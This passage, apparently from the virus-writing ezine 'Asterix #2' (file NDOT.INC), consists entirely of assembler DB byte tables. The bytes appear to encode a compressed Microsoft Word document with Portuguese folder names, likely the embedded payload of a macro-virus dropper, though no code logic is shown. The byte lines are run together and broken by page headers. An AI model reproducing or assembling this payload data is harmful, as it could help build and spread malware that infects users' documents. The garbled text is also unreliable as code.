DB 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 03FH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 012H, 000H, 0E8H, 041H, 00FH, 000H, 00AH, 062H, 007HDB 05BH, 002H, 008H, 0E2H, 069H, 004H, 01FH, 0E2H, 086H, 040H, 0F1H, 0FFH, 002H, 000H, 002HDB 008H, 000H, 000H, 060H, 006H, 000H, 04EH, 000H, 06FH, 000H, 072H, 000H, 06DH, 000H, 061HDB 000H, 06CH, 002H, 01EH, 003H, 024H, 004H, 070H, 000H, 000H, 06DH, 048H, 016H, 082H, 038HDB 002H, 00FH, 00CH, 003H, 036H, 000H, 041H, 040H, 0F2H, 0FFH, 0A1H, 000H, 036H, 011H, 040HDB 002H, 016H, 013H, 000H, 046H, 002H, 038H, 06EH, 000H, 074H, 000H, 065H, 000H, 020H, 000HDB 070H, 002H, 03EH, 072H, 040H, 03DH, 000H, 0E1H, 000H, 067H, 000H, 02EH, 006H, 00EH, 064HDB 002H, 054H, 0E3H, 002H, 022H, 002H, 02BH, 00CH, 003H, 063H, 095H, 002H, 000H, 062H, 078HDB 000H, 0D2H, 049H, 001H, 000H, 0FFH, 002H, 001H, 003H, 010H, 004H, 020H, 0FFH, 0FFH, 003HDB 008H, 005H, 029H, 009H, 00AH, 087H, 0BCH, 003H, 0AFH, 082H, 003H, 019H, 002H, 090H, 083HDB 0C8H, 002H, 007H, 000H, 007H, 018H, 005H, 002H, 018H, 0FFH, 002H, 0C8H, 000H, 000H, 005HDB 000H, 056H, 002H, 088H, 008H, 000H, 063H, 000H, 06EH, 002H, 088H, 012H, 000H, 043H, 000HDB 03AH, 000H, 05CH, 000H, 04CH, 000H, 049H, 000H, 028H, 02AH, 058H, 000H, 04FH, 002H, 00AHDB 06CH, 002H, 088H, 061H, 000H, 064H, 002H, 022H, 072H, 002H, 0A0H, 064H, 002H, 00EH, 074HDB 000H, 0D4H, 005H, 0FFH, 001H, 003H, 068H, 056H, 002H, 042H, 000H, 002H, 088H, 004H, 007HDB 00AH, 005H, 010H, 003H, 091H, 002H, 000H, 025H, 000H, 054H, 0B5H, 0A8H, 002H, 035H, 06DHDB 002H, 0DFH, 06CH, 002H, 059H, 003H, 0EBH, 050H, 002H, 0D7H, 06FH, 000H, 06AH, 002H, 016HDB 063H, 002H, 0FBH, 02EH, 002H, 020H, 080H, 060H, 068H, 000H, 069H, 000H, 073H, 000H, 044HDB 002H, 055H, 063H, 000H, 075H, 000H, 06DH, 002H, 01AH, 013H, 015H, 02EH, 014H, 035H, 000HDB 041H, 002H, 00EH, 074H, 002H, 016H, 045H, 000H, 078H, 002H, 014H, 063H, 012H, 083H, 011HDB 003H, 072H, 003H, 053H, 045H, 000H, 0A8H, 0A2H, 04DH, 000H, 050H, 002H, 0A0H, 041H, 002HDB 03FH, 045H, 002H, 00AH, 052H, 002H, 0A6H, 04AH, 000H, 045H, 002H, 0B8H, 054H, 002H, 0A0HDB 0A8H, 01AH, 054H, 000H, 048H, 002H, 0BAH, 053H, 002H, 053H, 04FH, 002H, 012H, 055H, 002HDB 02CH, 045H, 012H, 0A4H, 003H, 01AH, 041H, 000H, 055H, 055H, 01CH, 002H, 032H, 04FH, 002HDB 02AH, 058H, 002H, 004H, 043H, 002H, 0B0H, 040H, 000H, 080H, 003H, 055H, 002H, 00AH, 002HDB 003H, 0E8H, 020H, 082H, 04FH, 001H, 002H, 066H, 009H, 010H, 002H, 013H, 004H, 003H, 002HDB 010H, 004H, 007H, 000H, 002H, 01DH, 000H, 000H, 020H, 000H, 000H, 008H, 000H, 010H, 001HDB 040H, 000H, 000H, 003H, 002H, 014H, 047H, 016H, 090H, 002H, 02EH, 002H, 002H, 006H, 003HDB 005H, 004H, 005H, 0F8H, 056H, 002H, 003H, 004H, 003H, 014H, 002H, 017H, 008H, 003H, 002HDB 01DH, 004H, 00CH, 054H, 002H, 0E3H, 003H, 0D9H, 073H, 002H, 03EH, 04EH, 002H, 0CDH, 077HDB 02DH, 000H, 002H, 008H, 052H, 002H, 0DBH, 023H, 034H, 06EH, 002H, 022H, 035H, 010H, 090HDB 001H, 002H, 000H, 005H, 005H, 001H, 002H, 0C0H, 08BH, 001H, 007H, 006H, 002H, 005H, 007HDB 002H, 013H, 003H, 003H, 007H, 077H, 003H, 00CH, 080H, 003H, 005H, 053H, 000H, 079H, 012HDB 021H, 026H, 0BCH, 062H, 002H, 03AH, 023H, 06AH, 033H, 022H, 004H, 07EH, 00BH, 006H, 004HDB 002H, 003H, 001H, 00FH, 07EH, 004H, 0AEH, 003H, 036H, 041H, 012H, 073H, 016H, 000H, 069HDB 012H, 07FH, 003H, 034H, 022H, 012H, 0FBH, 030H, 008H, 088H, 018H, 000H, 000H, 0C4H, 002HDB 000H, 000H, 0A9H, 0C1H, 05CH, 004H, 0A1H, 078H, 01CH, 033H, 066H, 07AH, 002H, 004H, 003HDB 02CH, 001H, 000H, 002H, 017H, 003H, 009H, 004H, 004H, 001H, 004H, 044H, 004H, 0F8H, 0FDHDB 000H, 003H, 010H, 004H, 029H, 004H, 014H, 013H, 006H, 003H, 00EH, 003H, 004H, 003H, 011HDB 024H, 00FH, 0F5H, 003H, 015H, 00FH, 004H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 03FH, 0F8H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 006H, 010H, 013HDB 0CCH, 058H, 001H, 0FFH, 0FFH, 012H, 006H, 010H, 007H, 007H, 03BH, 0EEH, 00BH, 00CH, 007HDB 020H, 0FFH, 0FFH, 00FH, 008H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 0FDH, 0FFH, 00BH, 010H, 0FFH, 00FH, 001H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH

Page 229: EZine - Asterix #2

NDOT.INC

DB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0F3HDB 000H, 00FH, 010H, 00EH, 010H, 0FEH, 0FFH, 0F3H, 02FH, 0B3H, 04AH, 0ABH, 016H, 0D3H, 006HDB 000H, 000H, 0E0H, 085H, 09FH, 0F2H, 0F9H, 04FH, 000H, 0E8H, 068H, 010H, 0ABH, 091H, 008HDB 000H, 02BH, 027H, 0B3H, 0D9H, 030H, 002H, 023H, 050H, 0D2H, 019H, 0D3H, 0B9H, 002H, 007HDB 06CH, 055H, 000H, 088H, 002H, 010H, 003H, 03AH, 090H, 002H, 008H, 0D3H, 027H, 09CH, 002HDB 008H, 004H, 002H, 004H, 0A8H, 002H, 004H, 005H, 002H, 004H, 0B8H, 0ABH, 05AH, 002H, 004HDB 0D3H, 0EDH, 0C4H, 002H, 008H, 008H, 002H, 004H, 0D4H, 002H, 004H, 009H, 002H, 004H, 0E4HDB 002H, 004H, 0B3H, 0B4H, 0F0H, 002H, 008H, 00AH, 04DH, 055H, 002H, 004H, 00CH, 002H, 04DHDB 0F2H, 0F1H, 000H, 018H, 002H, 008H, 00DH, 002H, 010H, 024H, 002H, 008H, 00EH, 002H, 008HDB 030H, 002H, 008H, 00FH, 0ADH, 0D6H, 002H, 008H, 038H, 002H, 008H, 003H, 074H, 040H, 002HDB 008H, 013H, 002H, 010H, 048H, 002H, 008H, 003H, 078H, 0E4H, 002H, 06DH, 01EH, 002H, 010HDB 002H, 00FH, 029H, 0E0H, 002H, 006H, 073H, 000H, 00FH, 00CH, 006H, 002H, 016H, 056H, 065HDB 063H, 06EH, 061H, 000H, 066H, 009H, 01CH, 002H, 010H, 003H, 028H, 0C1H, 00DH, 003H, 098HDB 04EH, 06FH, 072H, 06DH, 061H, 0E2H, 037H, 003H, 010H, 009H, 02CH, 000H, 004H, 02CH, 003HDB 060H, 031H, 000H, 063H, 06EH, 003H, 000H, 003H, 01CH, 003H, 074H, 04DH, 069H, 063H, 072HDB 06FH, 073H, 06FH, 066H, 074H, 020H, 057H, 06FH, 072H, 064H, 018H, 014H, 020H, 038H, 02EHDB 012H, 00DH, 0F2H, 027H, 000H, 000H, 08CH, 086H, 047H, 002H, 067H, 000H, 004H, 00CH, 0B0HDB 0E8H, 03DH, 010H, 0FFH, 0B8H, 065H, 0BEH, 001H, 004H, 00CH, 03CH, 06FH, 085H, 003H, 00CHDB 013H, 018H, 003H, 0A0H, 003H, 008H, 003H, 028H, 00FH, 008H, 01EH, 08FH, 00FH, 00FH, 0FFHDB 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH

Page 230: EZine - Asterix #2

NDOT.INC

DB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 03FH, 0E0H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FEH, 0FFH, 000H, 000H, 004HDB 000H, 0E3H, 0EEH, 0E3H, 09EH, 009H, 004H, 001H, 000H, 003H, 012H, 002H, 0D5H, 0CDH, 0D5HDB 09CH, 02EH, 01BH, 010H, 093H, 097H, 008H, 000H, 02BH, 02CH, 0F9H, 054H, 067H, 0AEH, 044HDB 002H, 01FH, 005H, 00EH, 014H, 02CH, 0E2H, 0DDH, 0E8H, 002H, 018H, 0F3H, 0C0H, 002H, 00BHDB 000H, 068H, 002H, 00CH, 0F3H, 0B4H, 070H, 0B5H, 0AAH, 002H, 008H, 005H, 002H, 004H, 07CHDB 002H, 004H, 0F3H, 05CH, 084H, 002H, 008H, 011H, 002H, 004H, 08CH, 002H, 004H, 017H, 002HDB 004H, 094H, 002H, 004H, 0DAH, 0AAH, 00BH, 002H, 004H, 09CH, 002H, 004H, 0F3H, 0DCH, 0A4HDB 002H, 008H, 0F3H, 068H, 0ACH, 002H, 008H, 016H, 002H, 004H, 0B4H, 002H, 004H, 00DH, 002HDB 004H, 076H, 0E1H, 0BCH, 002H, 004H, 003H, 05CH, 0C9H, 002H, 008H, 003H, 094H, 0F7H, 0F4HDB 004H, 002H, 010H, 032H, 039H, 041H, 000H, 0F3H, 050H, 003H, 078H, 00BH, 008H, 0C3H, 03BHDB 002H, 01BH, 004H, 018H, 0B3H, 00DH, 008H, 000H, 003H, 064H, 003H, 010H, 00FH, 008H, 007HDB 010H, 01EH, 002H, 07DH, 003H, 040H, 003H, 004H, 000H, 00CH, 017H, 0D8H, 002H, 00DH, 003HDB 065H, 0F3H, 0F5H, 007H, 002H, 036H, 054H, 0EDH, 074H, 075H, 06CH, 06FH, 004H, 04CH, 003HDB 020H, 098H, 002H, 013H, 003H, 068H, 059H, 05DH, 002H, 007H, 000H, 020H, 002H, 005H, 003HDB 014H, 036H, 002H, 008H, 002H, 002H, 004H, 03EH, 002H, 004H, 003H, 010H, 003H, 00CH, 00AHDB 002H, 00CH, 05FH, 000H, 02BH, 050H, 049H, 044H, 05FH, 047H, 055H, 049H, 044H, 014H, 05CHDB 003H, 0B6H, 041H, 002H, 016H, 04EH, 002H, 004H, 07BH, 000H, 0FAH, 0FDH, 030H, 00EH, 002HDB 02DH, 008H, 010H, 00FH, 00AH, 003H, 02AH, 009H, 014H, 003H, 00EH, 00BH, 004H, 07DH, 002HDB 04EH, 003H, 003H, 01FH, 0D5H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFHDB 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00BH, 010H, 07DH, 0BDH, 0E7H, 0B4H, 003H, 0E2H, 049H, 0F3HDB 054H, 0F3H, 0B4H, 0F3H, 0B0H, 0E3H, 0FFH, 0FEH, 002H, 029H, 009H, 002H, 018H, 0E3H, 0D0HDB 0F3H, 030H, 0F3H, 088H, 00DH, 002H, 010H, 0DEH, 07AH, 00EH, 002H, 004H, 0F3H, 0E4H, 003HDB 020H, 0F3H, 0D4H, 012H, 002H, 010H, 0F3H, 0BCH, 014H, 002H, 008H, 015H, 002H, 004H, 0F3HDB 0C0H, 0F3H, 0E4H, 003H, 020H, 019H, 055H, 05BH, 002H, 010H, 01AH, 002H, 004H, 01BH, 002HDB 004H, 01CH, 002H, 004H, 01DH, 002H, 004H, 0F3H, 05FH, 01FH, 002H, 008H, 003H, 020H, 0FDH

Page 231: EZine - Asterix #2

NDOT.INC

DB 002H, 064H, 022H, 0ADH, 0AAH, 002H, 00CH, 028H, 002H, 004H, 003H, 010H, 025H, 002H, 008HDB 026H, 002H, 004H, 027H, 002H, 004H, 029H, 002H, 004H, 031H, 002H, 004H, 02AH, 002H, 004HDB 0AAH, 0FAH, 02BH, 002H, 004H, 02CH, 002H, 004H, 02DH, 002H, 004H, 02EH, 002H, 004H, 02FHDB 002H, 004H, 030H, 002H, 004H, 003H, 034H, 003H, 004H, 002H, 047H, 00FH, 003H, 0FFH, 0FFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 047H, 000H, 00FH, 010H, 00FH, 010H, 004H, 010H, 052H, 000H, 06FH, 002H, 002HDB 074H, 000H, 020H, 000H, 045H, 000H, 06EH, 000H, 074H, 010H, 000H, 000H, 072H, 000H, 079HDB 012H, 056H, 020H, 050H, 072H, 06FH, 067H, 072H, 061H, 06DH, 061H, 073H, 000H, 000H, 008HDB 041H, 052H, 051H, 055H, 049H, 056H, 07EH, 031H, 000H, 028H, 000H, 013H, 08CH, 000H, 000HDB 028H, 026H, 000H, 000H, 0D1H, 023H, 010H, 000H, 04DH, 069H, 063H, 072H, 06FH, 073H, 06FHDB 066H, 016H, 000H, 005H, 001H, 047H, 024H, 004H, 049H, 002H, 005H, 023H, 044H, 006H, 009HDB 002H, 002H, 040H, 000H, 000H, 0C0H, 004H, 006H, 000H, 046H, 003H, 007H, 0A2H, 0D8H, 000HDB 080H, 008H, 000H, 02BH, 030H, 030H, 09DH, 0C0H, 0B1H, 0E1H, 09BH, 0B8H, 065H, 0BEH, 001HDB 024H, 002H, 015H, 006H, 040H, 040H, 023H, 021H, 002H, 008H, 031H, 000H, 054H, 000H, 061HDB 000H, 062H, 000H, 06CH, 000H, 065H, 002H, 00EH, 026H, 000H, 080H, 04DH, 017H, 011H, 000HDB 041H, 072H, 071H, 075H, 069H, 076H, 06FH, 073H, 020H, 064H, 065H, 00FH, 088H, 081H, 001HDB 00FH, 088H, 010H, 000H, 00EH, 000H, 002H, 000H, 002H, 07BH, 008H, 003H, 000H, 04DH, 049HDB 043H, 052H, 04FH, 053H, 050H, 000H, 07EH, 032H, 000H, 01EH, 008H, 0B0H, 0DAH, 003H, 0B0HDB 06FH, 064H, 065H, 06CH, 06FH, 073H, 000H, 04DH, 04FH, 008H, 020H, 044H, 045H, 008H, 002HDB 06AH, 000H, 010H, 000H, 000H, 026H, 003H, 000H, 0F0H, 057H, 002H, 0FEH, 072H, 000H, 008HDB 07EH, 064H, 000H, 044H, 002H, 008H, 063H, 000H, 075H, 000H, 06DH, 002H, 088H, 013H, 008HDB 003H, 023H, 00FH, 004H, 00FH, 010H, 003H, 010H, 01AH, 0F8H, 047H, 000H, 002H, 001H, 033HDB 034H, 007H, 081H, 003H, 014H, 00FH, 004H, 00FH, 010H, 004H, 010H, 002H, 080H, 003H, 008HDB 005H, 000H, 053H, 004H, 076H, 06DH, 0ABH, 0EAH, 012H, 006H, 013H, 07CH, 049H, 012H, 086HDB 066H, 002H, 08CH, 072H, 002H, 08AH, 061H, 012H, 090H, 069H, 002H, 00CH, 06EH, 003H, 029HDB 00FH, 004H, 006H, 010H, 0FEH, 0E3H, 028H, 002H, 080H, 013H, 072H, 033H, 0BCH, 003H, 084HDB 006H, 017H, 00FH, 007H, 00CH, 010H, 004H, 07BH, 004H, 005H, 000H, 000H, 005H, 00FH, 0FAHDB 00FH, 090H, 00FH, 090H, 0FDH, 056H, 00EH, 090H, 038H, 002H, 080H, 003H, 078H, 007H, 004HDB 00CH, 069H, 00FH, 00DH, 006H, 010H, 018H, 003H, 008H, 006H, 080H, 04DH, 002H, 0F8H, 063HDB 022H, 076H, 06FH, 07CH, 0F4H, 000H, 073H, 003H, 016H, 00FH, 004H, 00FH, 010H, 00FH, 010HDB 022H, 000H, 001H, 001H, 001H, 002H, 016H, 00CH, 002H, 004H, 043H, 0A4H, 002H, 007H, 00FHDB 003H, 